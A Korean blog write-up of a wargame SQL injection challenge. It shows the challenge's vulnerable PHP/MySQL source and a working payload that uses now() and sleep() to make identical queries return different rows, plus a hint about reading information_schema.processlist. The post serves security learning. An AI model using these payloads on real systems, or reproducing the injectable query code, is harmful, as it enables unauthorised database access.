webhacking/sql, sql injection

시간 기반 sqli 인젝션2

qkqhxla1 2015. 7. 8. 18:31

해킹공부에서 중요한 것 중에 하나가 창의력인듯 싶다. 이런 문제가 있었다.

... 중략
 if(preg_match('/admin|and|or|if|coalesce|case|_|\./i', $_POST['uid'])) exit("No Hack ~_~");

    $r = mysql_fetch_array(mysql_query("select id from member where id='{$_POST[uid]}'")); //
    if($r['id'] !== "admin") exit("1st sandbox");

    $r = mysql_fetch_array(mysql_query("select id from member where no={$_POST[uid]}")); //
    if($r['id'] !== "admin") exit("2nd sandbox");

    $r = mysql_fetch_array(mysql_query("select id from member where no={$_POST[uid]}"));
    if($r['id'] === "admin") exit("3rd sandbox");

    $r = mysql_fetch_array(mysql_query("select id from member where id='{$_POST[uid]}'"));
    if($r['id'] === "admin") echo "hooray!!! Flag is {$flag}";

참고로 위의 필터링 단어들이 왠지 블라인드 인젝션을 막기 위한 키워드 필터링인것 같지만 블라인드 인젝션 문제가 아니었다. 위의 소스에서 uid를 입력할 수 있다. 매직 쿼터는 안걸려있는지 '도 입력할 수 있었다. 그러면 위와 같은 쿼리를 뚫을 수 있을까..? 문제의 두번째 조건과 세번째 조건을 보자.


동일한 쿼리인데 값이 서로 달라야 통과가된다. 두번째의 결과값은 admin이 아니면 exit가 실행되고, 세번째의 결과값은 admin이면 exit가 실행된다. 이게 가능할까? 한 요청으로?? 답은 시간을 이용하는 것이다.

(지금 생각해보니 랜덤함수로도 가능할듯?) 


select now();를 실행시켜보면 현재 시간이 나오는데, 끝에 초가 나온다. 이 초가 1초마다 바뀌므로 이걸 이용해서 저 쿼리를 통과할수 있다.


select concat('admi',char(concat(11,substr(now(),-1,1))));

를 실행시키면 어떤 때에 따라 admin이 되기도, admit가 되기도 한다 이걸 이용하면 된다고 한다. 


결국 위의 쿼리문을 통과하려면 

-1 union select concat('admi',char(concat(11,substr(now(),-1,1))))|sleep(3)#' union select 0x61646d696e#

처럼 하면 된다고 한다. 시간 기반 인젝션하면 일반적으로 맞으면 몇초를 멈추고, 틀리면 그냥 실행되는 그런걸 일반적으로 생각했는데.......... 부족함을 느꼈다.


생긴지 얼마 안된 워게임이라도 결국 몇년, 몇달 전의 해킹대회문제를 다시 재구성해놓은거에 불과하다. 

해킹대회문제도 취약점이 나오고 나서 최소 6개월 정도 후에 내니 오늘 만들어진 워게임을 풀더라도 몇년 전의 기술을 습득하는 바와 다름없다.


저문제 출제자인 rubiya님에게 물어봤는데 개인 연구를 많이한다고 하고, 특히나 웹해킹은 문서같은게 많이 없는만큼 연구를 안하면 시대에 뒤떨어지기 쉽다고 하셨다.


rubiya님이 이 이야기를 하면서 또 낸 간단한 문제 한개가...

$r = mysql_fetch_array(mysql_query("select id from member where id='$_GET[id]'"));

if($r == $_GET['id']) solve(); 


이런 쿼리에서 필터링이 하나도 없을경우 어떻게 id를 넣어야 저게 해결될까? 하는 문제였다. (답은 아래에 적음.)


이분은 항상 연구를 그냥 일상생활에서 갑자기 생각나는걸 연구한다고 한다.(항상 웹해킹생각만하고 사는듯) 문제를 봐도봐도 와 저런생각을하네 ㅋㅋ 이런 감탄이 나올만큼 창의롭다. 연구를 게을리 하지 말아야겠다.


위의 답은 information_schema.processlist테이블의 info컬럼을 이용하는 것이다. 현재 실행되는 쿼리에 대한 정보가 있으므로 substr로 알아서 잘 짤라 오면 된다고 한다.